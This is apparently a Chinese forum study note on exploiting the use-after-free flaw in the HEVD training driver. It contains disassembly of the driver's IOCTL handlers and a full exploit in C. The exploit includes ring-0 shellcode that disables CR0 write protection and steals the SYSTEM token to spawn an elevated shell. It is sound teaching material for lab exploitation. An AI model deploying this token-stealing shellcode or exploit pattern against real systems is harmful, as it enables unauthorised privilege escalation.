-
-
[原创]HEVD学习笔记之UAF
-
2021-11-9 11:46 20191
-
实验环境以及HEVD介绍请看:HEVD学习笔记之概述
一.漏洞原理
释放重引用漏洞(UAF)产生的原因是对已经释放的内存区域进行使用,导致了内存崩溃或者任意代码的执行。比如下面这段代码
#include <windows.h> #include <cstdio> int main(int argc, char **argv) { char *buf1; char *buf2; buf1 = (char *)malloc(0x100); // 为buf1申请一段堆内存 printf("buf1: 0x%p\n", buf1); free(buf1); // 将这段内存释放掉,但是buf1并没有赋值为NULL buf2 = (char *)malloc(0x100); // 为buf2申请同样大的堆内存,这时候之前buf1申请然后释放掉的堆内存就会给buf2 printf("buf2: 0x%p\n", buf2); memset(buf2, 0, 0x100); printf("buf2: %s\n", buf2); // 将这段内存初始化以后输出 // 由于这段堆内存被buf2重新申请,它将会有效,此时堆buf1的操作也会有效 // 又因为它们两个指向同一块堆内存,所以对buf1的操作也会影响到buf2 printf("======Use After Free======\n"); strncpy(buf1, "Hello 1900", strlen("hello 1900")); printf("buf2: %s\n", buf2); return 0; }
由于free掉buf1以后,没有及时地将buf1的指针清空,导致随后对buf1的操作将会有效,从而影响了buf2的数据。最终输出如下图:
所以要利用UAF漏洞,需要以下的几个步骤:
申请一块内存以后释放掉它,但是没有清空该内存的指针
重新申请一块同样大小的内存,此时这两个指针对指向同一块内存
对第一步的指针进行操作,它将会影响到第二步申请的指针指向的内存
二.漏洞分析
在HEVD中,有4个函数是用来实现本次的漏洞,分别是
AllocateUAFObjectNonPagedPoolIoCtrlHandler:用来申请一块内存
UseUAFObjectNonPagedPoolIoCtrlHandler:对申请的内存的使用
FreeUAFObjectNonPagedPoolIoCtrlHandler:释放申请的内存
AllocateFakeObjectNonPagedPoolIoCtrlHandler:申请和第一步同样大小的内存并对其进行修改
1.AllocateUAFObjectNonPagedPoolIoCtrlHandler
该函数是函数地址表中的第5个函数,所以对应的IOCTL为0x222003 + 4 * 4。
PAGE:00444135 loc_444135: ; CODE XREF: DispatchIoCtrl+34↑j PAGE:00444135 ; DATA XREF: PAGE:Func_Table↓o PAGE:00444135 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236435 PAGE:0044413B push offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"... PAGE:00444140 push 3 ; Level PAGE:00444142 push 4Dh ; ComponentId PAGE:00444144 call esi ; DbgPrintEx PAGE:00444146 add esp, 0Ch PAGE:00444149 push ebx ; 将CurrentStackLocation指针入栈 PAGE:0044414A push edi ; 将IRP的指针入栈 PAGE:0044414B call AllocateUAFObjectNonPagedPoolIoCtrlHandler PAGE:00444150 push offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"... PAGE:00444155 jmp loc_4440BF
程序将参数入栈以后就调用了AllocateUAFObjectNonPagedPoolCtrlHandler,继续看该函数
PAGE:0044635A AllocateUAFObjectNonPagedPoolIoCtrlHandler proc near PAGE:0044635A ; CODE XREF: DispatchIoCtrl+E7↑p PAGE:0044635A call AllocateUAFObjectNonePagedPool PAGE:0044635F retn 8 PAGE:0044635F AllocateUAFObjectNonPagedPoolIoCtrlHandler endp
在该函数中,只是调用了AllocateUAFObjectNonPagedPool,继续跟进这个函数。
PAGE:00446236 AllocateUAFObjectNonePagedPool proc near PAGE:00446236 ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓p PAGE:00446236 PAGE:00446236 var_1C = dword ptr -1Ch PAGE:00446236 ms_exc = CPPEH_RECORD ptr -18h PAGE:00446236 PAGE:00446236 push 0Ch PAGE:00446238 push offset stru_402580 PAGE:0044623D call __SEH_prolog4 PAGE:00446242 mov edi, STATUS_UNSUCCESSFUL PAGE:00446247 and dword ptr [ebp-4], 0 PAGE:0044624B push offset aAllocatingUafO ; "[+] Allocating UaF Object\n" PAGE:00446250 push 3 ; Level PAGE:00446252 push 4Dh ; ComponentId PAGE:00446254 mov esi, ds:DbgPrintEx PAGE:0044625A call esi ; DbgPrintEx PAGE:0044625C add esp, 0Ch PAGE:0044625F push 'kcaH' ; Tag PAGE:00446264 push 58h ; NumberOfBytes PAGE:00446266 push NonPagedPool ; PoolType PAGE:00446268 call ds:ExAllocatePoolWithTag PAGE:0044626E mov ebx, eax ; 将申请到的内存的地址赋给ebx PAGE:00446270 test ebx, ebx PAGE:00446272 jnz short loc_446291
可以看到,该函数中首先申请了一块0x58大小,tag为Hack的内存,并将指针赋给ebx。
PAGE:004462CD push 54h ; Size PAGE:004462CF push 'A' ; Val PAGE:004462D1 lea eax, [ebx+4] ; 取出申请的内存地址+4的地址 PAGE:004462D4 push eax ; Dst PAGE:004462D5 call memset PAGE:004462DA mov byte ptr [ebx+57h], 0 ; 将申请的内存的最后一个字节设为0 PAGE:004462DE mov dword ptr [ebx], offset UAFObjectCallbackNonPagedPool ; 将申请的内存的前4个字节设为要调用的函数 PAGE:004462E4 mov g_UseAfterFreeObjectNonPagedPool, ebx ; 将申请的内存的地址赋给全局变量
随后程序会将这段内存的前4个字节赋值为UAFObjectCallbackNonPagedPool,后面的字节赋值为'A',并将申请到的内存保存在全局变量中。而前4字节保存的函数只是一个简单的输出函数。
PAGE:00446418 UAFObjectCallbackNonPagedPool proc near ; DATA XREF: AllocateUAFObjectNonePagedPool+A8↑o PAGE:00446418 push offset aUseafterFreeOb ; "[+] UseAfter Free Object Callback NonPa"... PAGE:0044641D push 3 ; Level PAGE:0044641F push 4Dh ; ComponentId PAGE:00446421 call ds:DbgPrintEx PAGE:00446427 add esp, 0Ch PAGE:0044642A retn PAGE:0044642A UAFObjectCallbackNonPagedPool endp
由此可知,AllocateUAFObjectNonPagedPoolIoCtrlHandler做的事情是,申请一块0x58大小的内存。该内存的前4字节赋值为一个函数地址,后面的字节赋值为'A'。而这块内存的地址也会被赋值到全局变量g_UseAfterFreeObjectNonPagedPool中。
2.UseUAFObjectNonPagedPoolIoCtrlHandler
该函数是函数表中的第6个函数,对应的IOCTL是0x222003 + 5 * 4。而该IOCTL的操作是对UseUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用UseUAFObjectNonPagedPool。
PAGE:0044415A loc_44415A: ; CODE XREF: DispatchIoCtrl+34↑j PAGE:0044415A ; DATA XREF: PAGE:Func_Table↓o PAGE:0044415A mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236439 PAGE:00444160 push offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"... PAGE:00444165 push 3 ; Level PAGE:00444167 push 4Dh ; ComponentId PAGE:00444169 call esi ; DbgPrintEx PAGE:0044416B add esp, 0Ch PAGE:0044416E push ebx PAGE:0044416F push edi PAGE:00444170 call UseUAFObjectNonPagedPoolIoCtrlHandler PAGE:00444175 push offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"... PAGE:0044417A jmp loc_4440BF ================================================================================================ PAGE:004464E8 UseUAFObjectNonPagedPoolIoCtrlHandler proc near PAGE:004464E8 ; CODE XREF: DispatchIoCtrl+10C↑p PAGE:004464E8 call UseUAFObjectNonPagedPool PAGE:004464ED retn 8 PAGE:004464ED UseUAFObjectNonPagedPoolIoCtrlHandler endp
在UseUAFObjectNonPagedPool中,函数首先会对全局变量g_UseAfterFreeObjectNonPagedPool进行判断,判断该变量中是否保存了内存地址
PAGE:00446441 cmp g_UserAfterFreeObjectNonPagedPool, 0 ; 判断全局变量中是否保存了地址 PAGE:00446448 jz loc_4464CE
随后就是对地址的前四字节进行判断,是否保存了函数地址,如果保存了就调用这个函数
PAGE:00446495 mov eax, [eax] ; 取出函数地址 PAGE:00446497 test eax, eax ; 函数地址是否有效 PAGE:00446499 jz short loc_44649D PAGE:0044649B call eax ; 对函数进行调用
3.FreeUAFObjectNonPagedPoolIoCtrlHandler
该函数是地址表中的第7个函数,对应的IOCTL是0x222003 + 6 * 4。而该IOCTL的操作是对FreeUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用FreeUAFObjectNonPagedPool。
PAGE:0044417F loc_44417F: ; CODE XREF: DispatchIoCtrl+34↑j PAGE:0044417F ; DATA XREF: PAGE:Func_Table↓o PAGE:0044417F mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236443 PAGE:00444185 push offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"... PAGE:0044418A push 3 ; Level PAGE:0044418C push 4Dh ; ComponentId PAGE:0044418E call esi ; DbgPrintEx PAGE:00444190 add esp, 0Ch PAGE:00444193 push ebx PAGE:00444194 push edi PAGE:00444195 call FreeUAFObjectNonPagedPoolIoCtrlHandler PAGE:0044419A push offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"... PAGE:0044419F jmp loc_4440BF ====================================================================================== PAGE:00446410 FreeUAFObjectNonPagedPoolIoCtrlHandler proc near PAGE:00446410 ; CODE XREF: DispatchIoCtrl+131↑p PAGE:00446410 call FreeUAFObjectNonPagedPool PAGE:00446415 retn 8 PAGE:00446415 FreeUAFObjectNonPagedPoolIoCtrlHandler endp
而在FreeUAFObjectNonPagedPool函数中,函数首先会判断g_UseAfterFreeObjectNonPagedPool保存的地址是否为0
PAGE:00446377 cmp g_UseAfterFreeObjectNonPagedPool, 0 PAGE:0044637E jz short loc_4463F7
如果地址不为0,函数就会调用ExFreePoolWithTag将这段内存释放掉
PAGE:004463B5 push 'kcaH' ; Tag PAGE:004463BA push g_UseAfterFreeObjectNonPagedPool ; P PAGE:004463C0 call ds:ExFreePoolWithTag
4.AllocateFakeObjectNonPagedPoolIoCtrlHandler
该函数在函数地址表中的第8个函数,对应的IOCTL为0x222003 + 7 * 4。
PAGE:004441A4 loc_4441A4: ; CODE XREF: DispatchIoCtrl+34↑j PAGE:004441A4 ; DATA XREF: PAGE:Func_Table↓o PAGE:004441A4 mov esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447 PAGE:004441AA push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"... PAGE:004441AF push 3 ; Level PAGE:004441B1 push 4Dh ; ComponentId PAGE:004441B3 call esi ; DbgPrintEx PAGE:004441B5 add esp, 0Ch PAGE:004441B8 push ebx ; 将CurrentStackLocation指针入栈 PAGE:004441B9 push edi ; 将IRP的指针入栈 PAGE:004441BA call AllocateFakeObjectNonPagedPoolIoCtlHandler PAGE:004441BF push offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"... PAGE:004441C4 jmp loc_4440BF
将IRP和CurrentStackLocation指针入栈以后就调用了AllocateFakeObjectNonPagedPoolIoCtrlHandler。
PAGE:00446216 AllocateFakeObjectNonPagedPoolIoCtlHandler proc near PAGE:00446216 ; CODE XREF: DispatchIoCtrl+156↑p PAGE:00446216 PAGE:00446216 arg_CurrentStackLocation= dword ptr 0Ch PAGE:00446216 PAGE:00446216 push ebp PAGE:00446217 mov ebp, esp PAGE:00446219 mov eax, [ebp+arg_CurrentStackLocation] PAGE:0044621C mov ecx, STATUS_UNSUCCESSFUL PAGE:00446221 mov eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] ; 将输入缓冲区地址赋给eax PAGE:00446224 test eax, eax PAGE:00446226 jz short loc_446230 PAGE:00446228 push eax ; UserFakeObject PAGE:00446229 call AllocateFakeObjectNonPagedPool PAGE:0044622E mov ecx, eax PAGE:00446230 PAGE:00446230 loc_446230: ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+10↑j PAGE:00446230 mov eax, ecx PAGE:00446232 pop ebp PAGE:00446233 retn 8 PAGE:00446233 AllocateFakeObjectNonPagedPoolIoCtlHandler endp
在该函数中,函数会将输入缓冲区的地址取出以后入栈,接着在调用AllocateFakeObjectNonPagedPool函数。
PAGE:0044611C ; int __stdcall AllocateFakeObjectNonPagedPool(void *) PAGE:0044611C AllocateFakeObjectNonPagedPool proc near PAGE:0044611C ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+13↓p PAGE:0044611C PAGE:0044611C var_20 = dword ptr -20h PAGE:0044611C var_AllocateMemory= dword ptr -1Ch PAGE:0044611C ms_exc = CPPEH_RECORD ptr -18h PAGE:0044611C arg_InputBuffer = dword ptr 8 PAGE:0044611C PAGE:0044611C push 10h PAGE:0044611E push offset stru_4025A0 PAGE:00446123 call __SEH_prolog4 PAGE:00446128 xor ebx, ebx PAGE:0044612A mov [ebp+ms_exc.registration.TryLevel], ebx PAGE:0044612D push offset aCreatingFakeOb ; "[+] Creating Fake Object\n" PAGE:00446132 push 3 ; Level PAGE:00446134 push 4Dh ; ComponentId PAGE:00446136 mov esi, ds:DbgPrintEx PAGE:0044613C call esi ; DbgPrintEx PAGE:0044613E add esp, 0Ch PAGE:00446141 push 'kcaH' ; Tag PAGE:00446146 push 58h ; NumberOfBytes PAGE:00446148 push ebx ; PoolType PAGE:00446149 call ds:ExAllocatePoolWithTag PAGE:0044614F mov edi, eax ; 将申请到的地址赋给edi PAGE:00446151 mov [ebp+var_AllocateMemory], edi ; 将地址赋给局部变量 PAGE:00446154 test edi, edi ; 申请到的内存是否成功 PAGE:00446156 jnz short loc_446177 PAGE:00446158 push offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk\n" PAGE:0044615D push 3 ; Level PAGE:0044615F push 4Dh ; ComponentId PAGE:00446161 call esi ; DbgPrintEx PAGE:00446163 add esp, 0Ch PAGE:00446166 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh PAGE:0044616D mov eax, STATUS_NO_MEMORY PAGE:00446172 jmp loc_446204
函数会申请一块0x58大,tag为Hack的内存,并将内存地址保存到edi和局部变量中。
PAGE:004461B3 push 1 ; Alignment PAGE:004461B5 push 58h ; Length PAGE:004461B7 mov esi, [ebp+arg_InputBuffer] ; 将输入缓冲区的地址取出赋给esi PAGE:004461BA push esi ; Address PAGE:004461BB call ds:ProbeForRead PAGE:004461C1 push 16h PAGE:004461C3 pop ecx PAGE:004461C4 rep movsd PAGE:004461C6 mov eax, [ebp+var_AllocateMemory] PAGE:004461C9 mov [eax+57h], bl ; 将内存最后一个字节赋值为0
接着函数会验证输入缓冲区的指针是否可读,然后将输入缓冲区的内容赋值到申请到的0x58字节的内存中,在对申请到的内存的最后一个字节赋值为0。
三.漏洞利用
由上面分析可以知道,申请的0x58大小的内存中的前4个字节保存了一个函数地址。正常情况下,通过对UseUAFObjectNonPagedPoolIoCtrlHandler的调用就会调用程序分配的那个函数,如下图所示
可是,在释放内存的时候,程序没有对全局变量进行处理。这样,如果释放完内存以后,调用AllocateFakeObjectNonPagedPoolIoCtrlHandler的时候,程序会申请0x58大小的内存,这个时候就会得到和全局变量所指地址一样的内存区域,而此时我们通过构造输入缓冲区的前4字节来指定为ShellCode的函数地址,这样就会改变全局变量所指的内存的前4字节,这个时候在调用UseUAFObjectNonPagedPoolIoCtrlHandler的时候,就会调用指定的ShellCode函数地址。
完整的exp代码如下:
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <cstdio> #include <cstdlib> #include <windows.h> #include "ntapi.h" #pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver" void ShowError(PCHAR msg, DWORD ErrorCode); NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main() { NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONST DWORD dwAllocateIoCtl = 0x222003 + 4 * 4; CONST DWORD dwUseIoCtl = 0x222003 + 5 * 4; CONST DWORD dwFreeIoCtl = 0x222003 + 6 * 4; CONST DWORD dwFakeIoCtl = 0x222003 + 7 * 4; // 打开驱动设备 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { ShowError("CreateFile", GetLastError()); goto exit; } // 与驱动设备进行交互,分配0x58大小的内存 DeviceIoControl(hDevice, dwAllocateIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); // 与驱动设备进行交互,正常操作时候对函数的调用 DeviceIoControl(hDevice, dwUseIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); // 与驱动设备进行交互,将申请的内存块释放 DeviceIoControl(hDevice, dwFreeIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); char szInput[0x58] = { 0 }; *(PDWORD)szInput = (DWORD)Ring0ShellCode; // 与驱动设备进行交互,对函数地址进行覆盖 if (!DeviceIoControl(hDevice, dwFakeIoCtl, szInput, 0x58, NULL, 0, &dwReturnLength, NULL)) { ShowError("DeviceIoControl", GetLastError()); goto exit; } // 与驱动设备进行交互,再次对函数进行调用 DeviceIoControl(hDevice, dwUseIoCtl, NULL, 0, NULL, 0, &dwReturnLength, NULL); if (g_bIsExecute) { printf("Ring0 代码执行完成\n"); } si.cb = sizeof(si); if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("CreateProcess Error\n"); goto exit; } exit: if (hDevice) NtClose(hDevice); system("pause"); return 0; } void ShowError(PCHAR msg, DWORD ErrorCode) { printf("%s Error 0x%X\n", msg, ErrorCode); } NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength) { // 关闭页保护 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取当前线程 mov eax, fs:[0x124] // 取线程对应的EPROCESS mov esi, [eax + 0x150] mov eax, esi searchWin7: mov eax, [eax + 0xB8] sub eax, 0x0B8 mov edx, [eax + 0xB4] cmp edx, 0x4 jne searchWin7 mov eax, [eax + 0xF8] mov [esi + 0xF8], eax } // 开起页保护 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE; }
调用完成以后,程序将成功提权
四.参考资料
《漏洞战争》
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。